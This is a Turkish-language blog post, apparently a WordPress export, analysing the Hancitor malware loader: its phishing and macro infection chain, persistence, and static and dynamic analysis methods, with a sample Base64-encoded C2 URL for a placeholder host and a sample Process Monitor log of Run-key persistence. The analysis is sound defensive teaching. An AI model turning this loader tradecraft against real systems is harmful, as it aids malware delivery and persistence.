{"id":33464,"date":"2025-11-03T05:32:14","date_gmt":"2025-11-03T02:32:14","guid":{"rendered":"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/"},"modified":"2025-11-03T05:32:14","modified_gmt":"2025-11-03T02:32:14","slug":"hancitor-loader-analizi-tehditleri-nasil-anlariz","status":"publish","type":"post","link":"https:\/\/fatihsoysal.com\/blog\/hancitor-loader-analizi-tehditleri-nasil-anlariz\/","title":{"rendered":"Hancitor Loader Analizi: Tehditleri Nas\u0131l Anlar\u0131z?"},"content":{"rendered":"<style>\n    \/* Mobile-friendly styles *\/\n    body {\n        font-family: Arial, sans-serif;\n        line-height: 1.6;\n        color: #333;\n        margin: 0;\n        padding: 20px;\n        background-color: #f9f9f9;\n    }\n    h2, h3 {\n        color: #2c3e50;\n        margin-top: 30px;\n        margin-bottom: 15px;\n    }\n    h2 {\n        border-bottom: 2px solid #3498db;\n        padding-bottom: 10px;\n    }\n    h3 {\n        border-bottom: 1px dashed #7f8c8d;\n        padding-bottom: 5px;\n    }\n    p {\n        margin-bottom: 1em;\n        text-align: justify;\n    }\n    ul, ol {\n        margin-bottom: 1em;\n        padding-left: 25px;\n    }\n    li {\n        margin-bottom: 0.5em;\n    }\n    code {\n        font-family: 'Courier New', monospace;\n        background-color: #eee;\n        padding: 2px 4px;\n        border-radius: 3px;\n        font-size: 0.9em;\n    }\n    pre {\n        background-color: #272822;\n        color: #f8f8f2;\n        padding: 15px;\n        border-radius: 5px;\n        overflow-x: auto;\n        margin-bottom: 1em;\n    }\n    pre code {\n        background-color: transparent;\n        color: #f8f8f2;\n        padding: 0;\n        font-size: 1em;\n    }\n    table {\n        width: 100%;\n        border-collapse: collapse;\n        margin-bottom: 1em;\n    }\n    th, td {\n        border: 1px solid #ddd;\n        padding: 8px;\n        text-align: left;\n    }\n    th {\n        background-color: #f2f2f2;\n        color: #333;\n    }\n    .expert-tip {\n        background-color: #ecf0f1;\n        border-left: 5px solid #3498db;\n        padding: 15px;\n        margin: 20px 0;\n        font-style: italic;\n        color: #2c3e50;\n    }\n    .faq-question {\n        font-weight: bold;\n        color: #34495e;\n        margin-top: 15px;\n    }\n    .faq-answer {\n        margin-left: 20px;\n        margin-bottom: 10px;\n    }<\/p>\n<p>    \/* Media Queries for Responsiveness *\/\n    @media (max-width: 768px) {\n        body {\n            padding: 10px;\n        }\n        h2 {\n            font-size: 1.5em;\n        }\n        h3 {\n            font-size: 1.2em;\n        }\n        table, thead, tbody, th, td, tr {\n            display: block;\n        }\n        thead tr {\n            position: absolute;\n            top: -9999px;\n            left: -9999px;\n        }\n        tr {\n            border: 1px solid #ccc;\n            margin-bottom: 10px;\n        }\n        td {\n            border: none;\n            border-bottom: 1px solid #eee;\n            position: relative;\n            padding-left: 50%;\n            text-align: right;\n        }\n        td:before {\n            position: absolute;\n            top: 6px;\n            left: 6px;\n            width: 45%;\n            padding-right: 10px;\n            white-space: nowrap;\n            text-align: left;\n            font-weight: bold;\n            content: attr(data-label); \/* Use data-label for content *\/\n        }\n        td:first-of-type {\n            background-color: #f2f2f2;\n            font-weight: bold;\n        }\n    }\n<\/style>\n<p>Siber g\u00fcvenlik d\u00fcnyas\u0131nda her ge\u00e7en g\u00fcn yeni ve daha karma\u015f\u0131k tehditlerle kar\u015f\u0131la\u015f\u0131yoruz. Peki, bu tehditlerin ba\u015f\u0131nda gelen zararl\u0131 yaz\u0131l\u0131m y\u00fckleyicileri, \u00f6zellikle de Hancitor gibi tehlikeli \u00f6rnekler, sistemlerimize nas\u0131l s\u0131z\u0131yor ve hangi operasyonlar\u0131 ger\u00e7ekle\u015ftiriyor? Bu makalede, Hancitor Loader&#8217;\u0131n derinlemesine bir analizini yaparak, onunla nas\u0131l m\u00fccadele edece\u011fimizi ve sistemlerimizi nas\u0131l koruyabilece\u011fimizi ad\u0131m ad\u0131m inceleyece\u011fiz.<\/p>\n<p>Modern siber sald\u0131r\u0131lar\u0131n \u00f6nemli bir par\u00e7as\u0131 olan zararl\u0131 yaz\u0131l\u0131m y\u00fckleyicileri, hedef sistemlere ana y\u00fck\u00fc (payload) indirmek ve \u00e7al\u0131\u015ft\u0131rmak i\u00e7in kullan\u0131lan ilk temas noktalar\u0131d\u0131r. Bu ba\u011flamda, Hancitor Loader, y\u0131llard\u0131r aktif olan ve siber su\u00e7lular taraf\u0131ndan \u00e7e\u015fitli ba\u015fka zararl\u0131 yaz\u0131l\u0131mlar\u0131, \u00f6zellikle de bilgi h\u0131rs\u0131zlar\u0131n\u0131 (information stealers) ve fidye yaz\u0131l\u0131mlar\u0131n\u0131 (ransomware) da\u011f\u0131tmak i\u00e7in s\u0131kl\u0131kla tercih edilen k\u00f6t\u00fc niyetli bir arac\u0131d\u0131r. Ba\u015flang\u0131\u00e7ta Pony Loader olarak bilinen bu tehdit, zamanla evrim ge\u00e7irerek Hancitor ad\u0131n\u0131 alm\u0131\u015ft\u0131r. Bu isim de\u011fi\u015fikli\u011fi, yaz\u0131l\u0131m\u0131n s\u00fcrekli g\u00fcncellendi\u011fini ve kendini adapte etti\u011fini a\u00e7\u0131k\u00e7a g\u00f6stermektedir. \u00d6zellikle bankac\u0131l\u0131k trojanlar\u0131 (mesela TrickBot ve Zeus Panda) ve fidye yaz\u0131l\u0131mlar\u0131 (mesela Ryuk) gibi y\u00fcksek profilli tehditlerin da\u011f\u0131t\u0131m\u0131nda Hancitor&#8217;\u0131n oynad\u0131\u011f\u0131 rol, onu siber g\u00fcvenlik analistleri i\u00e7in kritik bir inceleme konusu haline getirmi\u015ftir. Hancitor&#8217;\u0131n pop\u00fclaritesi, basit ama etkili bula\u015fma y\u00f6ntemlerine dayanmaktad\u0131r: genellikle oltalama (phishing) e-postalar\u0131 veya k\u00f6t\u00fc ama\u00e7l\u0131 reklamlar (malvertising) arac\u0131l\u0131\u011f\u0131yla yay\u0131l\u0131r. Bir kullan\u0131c\u0131 k\u00f6t\u00fc ama\u00e7l\u0131 bir belgeyi a\u00e7t\u0131\u011f\u0131nda veya zararl\u0131 bir ba\u011flant\u0131ya t\u0131klad\u0131\u011f\u0131nda, Hancitor sistemine s\u0131zar ve arka planda sessizce \u00e7al\u0131\u015fmaya ba\u015flar. Bu, onu tespit etmeyi zorla\u015ft\u0131r\u0131r ve ana zararl\u0131 yaz\u0131l\u0131m\u0131n indirilmesine zemin haz\u0131rlar. Dolay\u0131s\u0131yla, Hancitor&#8217;\u0131n \u00e7al\u0131\u015fma mekanizmas\u0131n\u0131 anlamak, genel siber g\u00fcvenlik stratejilerimizin sa\u011flaml\u0131\u011f\u0131n\u0131 art\u0131rmak i\u00e7in hayati \u00f6neme sahiptir. Ayr\u0131ca, bu loader&#8217;\u0131n evrimi ve kulland\u0131\u011f\u0131 teknikler, di\u011fer zararl\u0131 yaz\u0131l\u0131m ailelerinin de benzer adaptasyonlar g\u00f6sterebilece\u011finin bir g\u00f6stergesidir.<\/p>\n<p>Hancitor&#8217;\u0131n \u00f6nemi sadece da\u011f\u0131tt\u0131\u011f\u0131 tehditlerle s\u0131n\u0131rl\u0131 de\u011fildir; ayn\u0131 zamanda kulland\u0131\u011f\u0131 anti-analiz ve tespit ka\u00e7\u0131rma teknikleri nedeniyle de dikkat \u00e7ekmektedir. G\u00fcvenlik yaz\u0131l\u0131mlar\u0131n\u0131 atlatmak i\u00e7in \u00e7e\u015fitli \u015fifreleme, gizleme (obfuscation) ve sanal makine tespiti gibi y\u00f6ntemlere ba\u015fvurur. Bu, manuel analizi veya otomatik tarama sistemlerini daha karma\u015f\u0131k hale getirir. \u00d6rne\u011fin, belirli API \u00e7a\u011fr\u0131lar\u0131n\u0131 gizlemek, kodunu dinamik olarak \u00e7\u00f6zmek veya yaln\u0131zca belirli sistem konfig\u00fcrasyonlar\u0131nda tam i\u015flevselli\u011fini ortaya \u00e7\u0131karmak gibi taktikler kullanabilir. Bu davran\u0131\u015flar, Hancitor&#8217;\u0131n sadece bir y\u00fckleyici olman\u0131n \u00f6tesinde, aktif bir tehdit vekt\u00f6r\u00fc oldu\u011funu ve proaktif savunma mekanizmalar\u0131n\u0131n geli\u015ftirilmesi gerekti\u011fini g\u00f6stermektedir. Bu nedenle, siber g\u00fcvenlik uzmanlar\u0131n\u0131n Hancitor&#8217;\u0131n bula\u015fma zincirini, kulland\u0131\u011f\u0131 teknikleri ve b\u0131rakt\u0131\u011f\u0131 izleri derinlemesine anlamas\u0131 gerekmektedir. Bu bilgi, sadece Hancitor&#8217;a kar\u015f\u0131 de\u011fil, benzer teknikler kullanan di\u011fer t\u00fcm tehditlere kar\u015f\u0131 da daha g\u00fc\u00e7l\u00fc savunmalar in\u015fa etmemizi sa\u011flayacakt\u0131r. \u00d6yle ki, bir Hancitor enfeksiyonunun erken tespiti, b\u00fcy\u00fck \u00e7apl\u0131 bir veri ihlalini veya fidye yaz\u0131l\u0131m\u0131 sald\u0131r\u0131s\u0131n\u0131 \u00f6nleyebilir, b\u00f6ylece \u015firketler i\u00e7in milyonlarca dolarl\u0131k zarar\u0131 engelleyebilir. Bu karma\u015f\u0131k yap\u0131s\u0131n\u0131 \u00e7\u00f6z\u00fcmlemek, modern zararl\u0131 yaz\u0131l\u0131m analizinin temel ta\u015flar\u0131ndan birini olu\u015fturur.<\/p>\n<h2>Hancitor Enfeksiyon Zinciri Nas\u0131l \u0130\u015fler ve \u0130lk Temas Noktas\u0131 Neresidir?<\/h2>\n<p>Hancitor Loader&#8217;\u0131n hedef sistemlere ula\u015fma ve kendini kurma s\u00fcreci olduk\u00e7a organize ve \u00e7ok a\u015famal\u0131d\u0131r. Tipik bir Hancitor enfeksiyon zinciri, genellikle bir oltalama (phishing) e-postas\u0131 ile ba\u015flar. Bu e-postalar, fatura, g\u00f6nderi bildirimi, resmi bir belge veya \u00f6nemli bir duyuru gibi me\u015fru g\u00f6r\u00fcnen konular\u0131 taklit ederek kullan\u0131c\u0131lar\u0131 kand\u0131rmaya \u00e7al\u0131\u015f\u0131r. Bu oltalama e-postalar\u0131, kullan\u0131c\u0131y\u0131 ekteki zararl\u0131 bir belgeyi a\u00e7maya veya k\u00f6t\u00fc ama\u00e7l\u0131 bir ba\u011flant\u0131ya t\u0131klamaya ikna etmeyi hedefler. S\u0131kl\u0131kla, bu ekler makro i\u00e7eren Microsoft Word belgeleri (.doc, .docx) veya PDF dosyalar\u0131d\u0131r. Kullan\u0131c\u0131 bu belgeyi a\u00e7t\u0131\u011f\u0131nda ve makrolar\u0131 etkinle\u015ftirmesi istendi\u011finde, Hancitor&#8217;\u0131n ilk a\u015famas\u0131 tetiklenmi\u015f olur. Makrolar\u0131n etkinle\u015ftirilmesiyle birlikte, genellikle VBScript veya PowerShell komutlar\u0131 \u00e7al\u0131\u015ft\u0131r\u0131l\u0131r. Bu komutlar, genellikle uzak bir sunucudan Hancitor&#8217;\u0131n as\u0131l y\u00fcr\u00fct\u00fclebilir dosyas\u0131n\u0131 (EXE veya DLL) indirmekle g\u00f6revlidir. Ayr\u0131ca, Hancitor&#8217;\u0131n baz\u0131 varyantlar\u0131, k\u00f6t\u00fc ama\u00e7l\u0131 reklamc\u0131l\u0131k (malvertising) veya tehlikeli web siteleri arac\u0131l\u0131\u011f\u0131yla da yay\u0131labilir; bu senaryolarda, drive-by download veya exploit kitler kullan\u0131larak, kullan\u0131c\u0131n\u0131n etkile\u015fimi olmadan sistem enfekte edilebilir. \u0130ndirme i\u015flemi ger\u00e7ekle\u015ftikten sonra, Hancitor Loader genellikle Windows&#8217;un kendi ara\u00e7lar\u0131n\u0131 kullanarak veya standart sistem dizinlerine (\u00f6rne\u011fin, <code>%APPDATA%<\/code> veya <code>%TEMP%<\/code>) kopyalanarak kal\u0131c\u0131l\u0131k sa\u011flar. Bu sayede, sistem yeniden ba\u015flat\u0131lsa bile zararl\u0131 yaz\u0131l\u0131m tekrar \u00e7al\u0131\u015fmaya devam edebilir. \u00d6rne\u011fin, ba\u015flang\u0131\u00e7 klas\u00f6rlerine k\u0131sayollar ekleyebilir veya kay\u0131t defterinde (Registry) belirli anahtarlar olu\u015fturarak otomatik ba\u015flamay\u0131 garanti edebilir. Bu kal\u0131c\u0131l\u0131k mekanizmalar\u0131, Hancitor&#8217;\u0131n uzun s\u00fcreli bir tehdit olmas\u0131n\u0131 sa\u011flar ve enfekte olan sistemde daha fazla k\u00f6t\u00fc niyetli faaliyete olanak tan\u0131r. Hancitor&#8217;\u0131n bu ilk temas noktalar\u0131ndaki evrimi ve adaptasyonu, siber savunmac\u0131lar i\u00e7in s\u00fcrekli bir m\u00fccadeleyi beraberinde getirir. \u00d6rne\u011fin, e-posta filtreleme sistemlerini atlatmak i\u00e7in s\u00fcrekli yeni temalar ve teknikler kullan\u0131r. Kullan\u0131c\u0131 e\u011fitimi ve geli\u015fmi\u015f u\u00e7 nokta koruma \u00e7\u00f6z\u00fcmleri, bu ilk temas noktalar\u0131nda enfeksiyonu engellemek i\u00e7in kritik \u00f6neme sahiptir.<\/p>\n<div class=\"expert-tip\">\n    Uzman \u0130pucu: Oltalama e-postalar\u0131 genellikle aciliyet duygusu yaratmaya veya beklenmedik bir teklif sunmaya odaklan\u0131r. \u015e\u00fcphe duydu\u011funuz e-postalar\u0131n g\u00f6ndericisini ve i\u00e7eri\u011fini dikkatlice kontrol edin. Makro i\u00e7eren belgeleri asla bilinmeyen kaynaklardan a\u00e7may\u0131n.\n<\/div>\n<p>Enfeksiyonun ikinci a\u015famas\u0131nda, Hancitor Loader, indirdi\u011fi ana zararl\u0131 yaz\u0131l\u0131m\u0131n indirilmesi ve \u00e7al\u0131\u015ft\u0131r\u0131lmas\u0131 i\u00e7in gerekli altyap\u0131y\u0131 haz\u0131rlar. Bu, genellikle ba\u015fka bir C2 (Command and Control) sunucusundan ikincil bir payload indirme iste\u011fi g\u00f6ndererek yap\u0131l\u0131r. Bu ikincil payload, TrickBot, Zeus Panda veya Ryuk gibi daha y\u0131k\u0131c\u0131 bir zararl\u0131 yaz\u0131l\u0131m olabilir. Hancitor&#8217;\u0131n kendisi genellikle basit bir ileti\u015fim protokol\u00fc (HTTP\/HTTPS) kullan\u0131rken, ikincil payload i\u00e7in daha karma\u015f\u0131k veya \u015fifreli ileti\u015fim kanallar\u0131 kullanabilir. Bu a\u015famada, Hancitor, sistemde fark edilmeden kalabilmek i\u00e7in \u00e7e\u015fitli gizleme ve anti-analiz teknikleri kullan\u0131r. \u00d6rne\u011fin, me\u015fru sistem s\u00fcre\u00e7lerinin i\u00e7ine kendini enjekte edebilir (process injection), bellekteki kodunu \u015fifreleyebilir veya dinamik API \u00e7a\u011f\u0131rma y\u00f6ntemlerini kullanabilir. Bu sayede, g\u00fcvenlik yaz\u0131l\u0131mlar\u0131n\u0131n veya analistlerin tespitini zorla\u015ft\u0131r\u0131r. A\u011f trafi\u011fi analizi s\u0131ras\u0131nda, Hancitor&#8217;\u0131n C2 sunucular\u0131na yapt\u0131\u011f\u0131 istekler, genellikle \u015fifreli veya base64 kodlu parametreler i\u00e7erebilir. Bu parametreler, enfekte olan sistemin temel bilgilerini (IP adresi, kullan\u0131c\u0131 ad\u0131, i\u015fletim sistemi s\u00fcr\u00fcm\u00fc) veya indirilmesi gereken ana zararl\u0131 yaz\u0131l\u0131m\u0131n ad\u0131n\u0131\/URL&#8217;sini i\u00e7erebilir. Dolay\u0131s\u0131yla, bu enfeksiyon zincirini ba\u015ftan sona anlamak, hem \u00f6nleyici tedbirler almak hem de ger\u00e7ekle\u015fen bir sald\u0131r\u0131y\u0131 do\u011fru bir \u015fekilde analiz etmek i\u00e7in elzemdir. Bu detayl\u0131 anlay\u0131\u015f, g\u00fcvenlik ekiplerinin Hancitor ile m\u00fccadelede daha proaktif ve etkili olmas\u0131n\u0131 sa\u011flar. G\u00fcvenlik duvarlar\u0131, IDS\/IPS sistemleri ve EDR \u00e7\u00f6z\u00fcmleri, bu a\u015famalarda Hancitor&#8217;\u0131n faaliyetlerini tespit etmek ve engellemek i\u00e7in kritik rol oynar.<\/p>\n<h2>Hancitor Loader Analizi: Statik Tekniklerle Neler Bulabiliriz?<\/h2>\n<p>Zararl\u0131 yaz\u0131l\u0131m analizi s\u00fcrecinin ilk ve en temel ad\u0131mlar\u0131ndan biri statik analizdir. Bu y\u00f6ntem, zararl\u0131 yaz\u0131l\u0131m\u0131n kodunu \u00e7al\u0131\u015ft\u0131rmadan inceleyerek potansiyel tehlikeleri ve davran\u0131\u015f kal\u0131plar\u0131n\u0131 anlamam\u0131z\u0131 sa\u011flar. Hancitor Loader \u00f6rne\u011finde, statik analiz bize dosyan\u0131n yap\u0131s\u0131, kulland\u0131\u011f\u0131 API&#8217;ler, g\u00f6m\u00fcl\u00fc stringler ve genel mant\u0131k hakk\u0131nda \u00e7ok de\u011ferli ipu\u00e7lar\u0131 sunar. \u00d6ncelikle, PE (Portable Executable) yap\u0131s\u0131n\u0131 inceleyerek ba\u015flayabiliriz. PE-Studio, ExifTool veya CFF Explorer gibi ara\u00e7lar, dosyan\u0131n ba\u015fl\u0131k bilgilerini, b\u00f6l\u00fcmlerini (sections), i\u00e7e aktar\u0131lan (imports) ve d\u0131\u015fa aktar\u0131lan (exports) fonksiyonlar\u0131 g\u00f6rmemizi sa\u011flar. Hancitor, genellikle <code>.text<\/code>, <code>.rdata<\/code>, <code>.data<\/code> gibi standart b\u00f6l\u00fcmlerin yan\u0131 s\u0131ra, bazen \u00f6zel olarak olu\u015fturulmu\u015f veya \u015fifrelenmi\u015f veri i\u00e7eren b\u00f6l\u00fcmler de kullanabilir. Imports tablosu, zararl\u0131 yaz\u0131l\u0131m\u0131n hangi sistem fonksiyonlar\u0131n\u0131 \u00e7a\u011f\u0131rd\u0131\u011f\u0131n\u0131 g\u00f6sterir; \u00f6rne\u011fin, <code>CreateRemoteThread<\/code>, <code>VirtualAllocEx<\/code> gibi fonksiyonlar, Hancitor&#8217;\u0131n kendini ba\u015fka bir s\u00fcrece enjekte etme veya bellekte yer ay\u0131rma e\u011filiminde oldu\u011funu i\u015faret edebilir. <code>URLDownloadToFile<\/code> veya <code>InternetReadFile<\/code> gibi a\u011f API&#8217;leri ise C2 sunucular\u0131yla ileti\u015fim kurdu\u011funu veya ikincil payload indirdi\u011fini g\u00f6sterecektir. Statik analiz, ayr\u0131ca zararl\u0131 yaz\u0131l\u0131m\u0131n i\u00e7indeki okunabilir metin dizelerini (strings) \u00e7\u0131karmay\u0131 da i\u00e7erir. Bu dizeler, C2 sunucu adresleri (IP adresleri, URL&#8217;ler), kullan\u0131c\u0131 arac\u0131s\u0131 (User-Agent) dizeleri, hata mesajlar\u0131, \u015fifreleme anahtarlar\u0131, dosya yollar\u0131 veya di\u011fer \u00f6nemli yap\u0131land\u0131rma bilgileri gibi de\u011ferli intel&#8217;ler i\u00e7erebilir. Hancitor, bu dizeleri genellikle \u015fifreler veya obfuscate eder; ancak, basit XOR \u015fifrelemesi veya Base64 kodlamas\u0131 gibi y\u00f6ntemler, bu a\u015famada tespit edilebilir ve \u00e7\u00f6z\u00fcmlenebilir. \u00d6rne\u011fin, Hancitor&#8217;\u0131n C2 sunucu URL&#8217;leri genellikle Base64 ile kodlanm\u0131\u015f olarak bulunur ve analiz s\u0131ras\u0131nda kolayca de\u015fifre edilebilir. <\/p>\n<pre><code>\n\/\/ \u00d6rnek bir Base64 kodlanm\u0131\u015f dize\nchar encoded_c2[] = \"aHR0cDovL2hhbmNpdG9yLmV4YW1wbGUuY29tLw==\"; \n\/\/ Bu dize \u00e7\u00f6z\u00fcmlendi\u011finde: http:\/\/hancitor.example.com\/\n<\/pre>\n<p><\/code><\/p>\n<p>PE-Studio gibi ara\u00e7lar, ayn\u0131 zamanda dosyan\u0131n \"g\u00f6r\u00fcn\u00fcrl\u00fck puan\u0131\" veya \"zararl\u0131 aktivite g\u00f6stergeleri\" hakk\u0131nda otomatik puanlamalar da sunabilir, bu da ilk triage i\u00e7in faydal\u0131d\u0131r. \u0130leri statik analizde, IDA Pro veya Ghidra gibi disassembler ara\u00e7lar\u0131n\u0131 kullanarak zararl\u0131 yaz\u0131l\u0131m\u0131n assembly kodunu detayl\u0131 olarak inceleyebiliriz. Bu ara\u00e7lar, kodun i\u015flevsel bloklar\u0131n\u0131, d\u00f6ng\u00fclerini ve ko\u015fullu dallanmalar\u0131n\u0131 g\u00f6rselle\u015ftirmemizi sa\u011flar. Hancitor, genellikle \u00e7e\u015fitli anti-analiz teknikleri uygulad\u0131\u011f\u0131ndan, bu a\u015famada kod ak\u0131\u015f\u0131n\u0131 takip etmek zorlay\u0131c\u0131 olabilir. \u00d6rne\u011fin, dolayl\u0131 atlamalar (indirect jumps), \u00e7a\u011fr\u0131lar\u0131n dinamik olarak \u00e7\u00f6z\u00fclmesi (dynamic API resolution) veya gereksiz kod par\u00e7ac\u0131klar\u0131 (code junk) ekleyerek analizi karma\u015f\u0131kla\u015ft\u0131rabilir. Ancak, bu teknikleri tespit ederek, kodun as\u0131l amac\u0131n\u0131 anlamak i\u00e7in \u00f6nemli ad\u0131mlar atabiliriz. \u00d6rne\u011fin, bir d\u00f6ng\u00fc i\u00e7inde <code>LoadLibrary<\/code> ve <code>GetProcAddress<\/code> \u00e7a\u011fr\u0131lar\u0131 g\u00f6r\u00fcyorsan\u0131z, bu dinamik API \u00e7\u00f6z\u00fcmlemesine i\u015faret edebilir. Ayr\u0131ca, Hancitor'\u0131n kulland\u0131\u011f\u0131 \u015fifreleme algoritmalar\u0131n\u0131 (\u00f6rne\u011fin, RC4 veya AES) veya rastgele veri olu\u015fturma fonksiyonlar\u0131n\u0131 (RNG) belirlemek, daha sonraki dinamik analiz a\u015famalar\u0131 i\u00e7in anahtarlar\u0131n veya algoritmalar\u0131n tersine m\u00fchendisli\u011fini yapmam\u0131za yard\u0131mc\u0131 olacakt\u0131r. Bir vaka analizinde, statik analiz s\u0131ras\u0131nda bir Hancitor \u00f6rne\u011finin i\u00e7e aktar\u0131lan DLL'ler aras\u0131nda <code>wininet.dll<\/code> ve <code>urlmon.dll<\/code>'yi yo\u011fun bir \u015fekilde kulland\u0131\u011f\u0131 g\u00f6zlemlenmi\u015ftir. Bu durum, zararl\u0131 yaz\u0131l\u0131m\u0131n internet \u00fczerinden ileti\u015fim kurma ve dosya indirme yetene\u011fine sahip oldu\u011funu g\u00fc\u00e7l\u00fc bir \u015fekilde d\u00fc\u015f\u00fcnd\u00fcrm\u00fc\u015ft\u00fcr. Bu t\u00fcr g\u00f6zlemler, dinamik analizde hangi a\u011f trafi\u011fini izlememiz gerekti\u011fi konusunda bize do\u011frudan y\u00f6n verir. Statik analiz, ayn\u0131 zamanda zararl\u0131 yaz\u0131l\u0131m\u0131n kendini kal\u0131c\u0131 hale getirmek i\u00e7in kulland\u0131\u011f\u0131 kay\u0131t defteri anahtarlar\u0131 (Registry keys) veya ba\u015flang\u0131\u00e7 dizini giri\u015fleri gibi yap\u0131land\u0131rma verilerini de ortaya \u00e7\u0131karabilir. T\u00fcm bu bilgiler, Hancitor'\u0131n davran\u0131\u015f profilini olu\u015fturmam\u0131za ve olas\u0131 a\u011f g\u00f6stergelerini (IOC'ler) toplamam\u0131za olanak tan\u0131r. Unutmayal\u0131m ki, statik analiz bir ba\u015flang\u0131\u00e7 noktas\u0131d\u0131r ve genellikle dinamik analizle desteklenmesi gerekir, ancak do\u011fru uyguland\u0131\u011f\u0131nda, bir tehdidin do\u011fas\u0131n\u0131 h\u0131zla kavramak i\u00e7in paha bi\u00e7ilmezdir.<\/p>\n<h2>Dinamik Analiz ile Hancitor'\u0131n Gizli Davran\u0131\u015flar\u0131n\u0131 Nas\u0131l Ortaya \u00c7\u0131kar\u0131r\u0131z?<\/h2>\n<p>Statik analiz bize zararl\u0131 yaz\u0131l\u0131m\u0131n potansiyel davran\u0131\u015flar\u0131 hakk\u0131nda ipu\u00e7lar\u0131 sunarken, dinamik analiz, Hancitor Loader'\u0131n ger\u00e7ek d\u00fcnyada nas\u0131l \u00e7al\u0131\u015ft\u0131\u011f\u0131n\u0131, sistemde hangi de\u011fi\u015fiklikleri yapt\u0131\u011f\u0131n\u0131 ve hangi C2 sunucular\u0131yla ileti\u015fim kurdu\u011funu g\u00f6zlemlememizi sa\u011flar. Bu a\u015famada, zararl\u0131 yaz\u0131l\u0131m\u0131 kontroll\u00fc bir ortamda, yani bir sanal makinede (sandbox) \u00e7al\u0131\u015ft\u0131rarak t\u00fcm aktivitelerini izleriz. Bu, ger\u00e7ek bir sistemin g\u00fcvenli\u011fini riske atmadan derinlemesine bir inceleme yapmam\u0131za olanak tan\u0131r. Dinamik analizin ilk ad\u0131m\u0131, zararl\u0131 yaz\u0131l\u0131m\u0131 bir sandbox ortam\u0131nda (\u00f6rne\u011fin, Cuckoo Sandbox, Any.Run) \u00e7al\u0131\u015ft\u0131rmak ve otomatik raporlar elde etmektir. Bu raporlar, Hancitor'\u0131n olu\u015fturdu\u011fu veya de\u011fi\u015ftirdi\u011fi dosyalar\u0131, kay\u0131t defteri girdilerini, ba\u015flatt\u0131\u011f\u0131 s\u00fcre\u00e7leri, ger\u00e7ekle\u015ftirdi\u011fi a\u011f ba\u011flant\u0131lar\u0131n\u0131 ve hatta ekran g\u00f6r\u00fcnt\u00fclerini i\u00e7erir. \u00d6rne\u011fin, bir Hancitor \u00f6rne\u011fini \u00e7al\u0131\u015ft\u0131rd\u0131\u011f\u0131n\u0131zda, sandbox raporunda genellikle <code>svchost.exe<\/code> veya <code>explorer.exe<\/code> gibi me\u015fru s\u00fcre\u00e7lere enjeksiyon giri\u015fimleri, \u015f\u00fcpheli DLL y\u00fcklemeleri ve d\u0131\u015f IP adreslerine yap\u0131lan HTTP\/HTTPS istekleri g\u00f6r\u00fclecektir. Bu ilk otomatik analiz, zararl\u0131 yaz\u0131l\u0131m\u0131n genel davran\u0131\u015f profili hakk\u0131nda h\u0131zl\u0131 bir \u00f6zet sunar ve daha derinlemesine manuel analiz i\u00e7in yol g\u00f6sterir. Ayr\u0131ca, bu raporlar, zararl\u0131 yaz\u0131l\u0131m\u0131n kulland\u0131\u011f\u0131 C2 sunucu IP'leri veya alan adlar\u0131, dosya karma de\u011ferleri (hash values) ve d\u00fc\u015f\u00fcr\u00fclen (dropped) di\u011fer zararl\u0131 dosyalar\u0131n isimleri gibi \u00f6nemli IOC'leri (Indicator of Compromise) sa\u011flamak a\u00e7\u0131s\u0131ndan da kritiktir.<\/p>\n<pre><code>\n\/\/ \u00d6rnek Process Monitor \u00e7\u0131kt\u0131s\u0131: Hancitor'\u0131n yapt\u0131\u011f\u0131 dosya ve kay\u0131t defteri i\u015flemleri\nOperation: CreateFile\nPath: C:\\Users\\IEUser\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.lnk\nResult: SUCCESS\nDesired Access: Generic Read\/Write\n...\nOperation: RegSetValue\nPath: HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\HancitorLoader\nResult: SUCCESS\nType: REG_SZ\nData: \"C:\\Users\\IEUser\\AppData\\Roaming\\hancitor.exe\"\n<\/pre>\n<p><\/code><\/p>\n<p>Daha detayl\u0131 bir dinamik analiz i\u00e7in, x64dbg (veya x32dbg) gibi bir hata ay\u0131klay\u0131c\u0131 (debugger) ve Process Monitor, Process Hacker gibi sistem izleme ara\u00e7lar\u0131 kullan\u0131r\u0131z. Hata ay\u0131klay\u0131c\u0131 ile, Hancitor'\u0131n kodunu ad\u0131m ad\u0131m \u00e7al\u0131\u015ft\u0131rabilir, bellek i\u00e7eri\u011fini inceleyebilir, kay\u0131t defteri ve dosya sistemi de\u011fi\u015fikliklerini anl\u0131k olarak g\u00f6zlemleyebiliriz. \u00d6rne\u011fin, Hancitor'\u0131n anti-analiz tekniklerini atlatmak i\u00e7in belirli API \u00e7a\u011fr\u0131lar\u0131nda breakpointler ayarlayabiliriz. <code>GetTickCount<\/code> veya <code>QueryPerformanceCounter<\/code> gibi zamanlama API'leri, sanal makine ortamlar\u0131n\u0131 tespit etmek i\u00e7in kullan\u0131labilir. Bu fonksiyonlara breakpoint koyarak, Hancitor'\u0131n bu kontrolleri nas\u0131l atlad\u0131\u011f\u0131n\u0131 veya bunlara nas\u0131l tepki verdi\u011fini g\u00f6rebiliriz. A\u011f trafi\u011fini yakalamak i\u00e7in ise Wireshark gibi bir a\u011f protokol analiz\u00f6r\u00fc vazge\u00e7ilmezdir. Hancitor'\u0131n C2 sunucular\u0131yla ileti\u015fim kurarken genellikle HTTP veya HTTPS kulland\u0131\u011f\u0131n\u0131 biliyoruz. Wireshark'ta belirli IP adreslerine veya portlara filtreler uygulayarak zararl\u0131 trafi\u011fi kolayca izleyebiliriz. C2 ileti\u015fiminde genellikle \u015fifrelenmi\u015f veya Base64 ile kodlanm\u0131\u015f veriler g\u00f6nderilir. Bu verileri yakalay\u0131p \u00e7\u00f6zerek, Hancitor'\u0131n hangi bilgileri s\u0131zd\u0131rd\u0131\u011f\u0131n\u0131 veya hangi komutlar\u0131 ald\u0131\u011f\u0131n\u0131 anlayabiliriz. \u00d6rne\u011fin, bir POST iste\u011finin g\u00f6vdesinde Base64 kodlu bir dize g\u00f6rd\u00fc\u011f\u00fcn\u00fczde, bunu \u00e7\u00f6zerek ikincil payload URL'sini veya sistem bilgilerini ortaya \u00e7\u0131karabilirsiniz. Bir vaka \u00e7al\u0131\u015fmas\u0131nda, Hancitor'\u0131n <code>HTTP POST<\/code> istekleri ile C2 sunucusuna sistem bilgilerini g\u00f6nderdi\u011fi, daha sonra <code>HTTP GET<\/code> iste\u011fi ile ba\u015fka bir sunucudan \"<code>payload.bin<\/code>\" ad\u0131nda \u015fifreli bir dosya indirdi\u011fi tespit 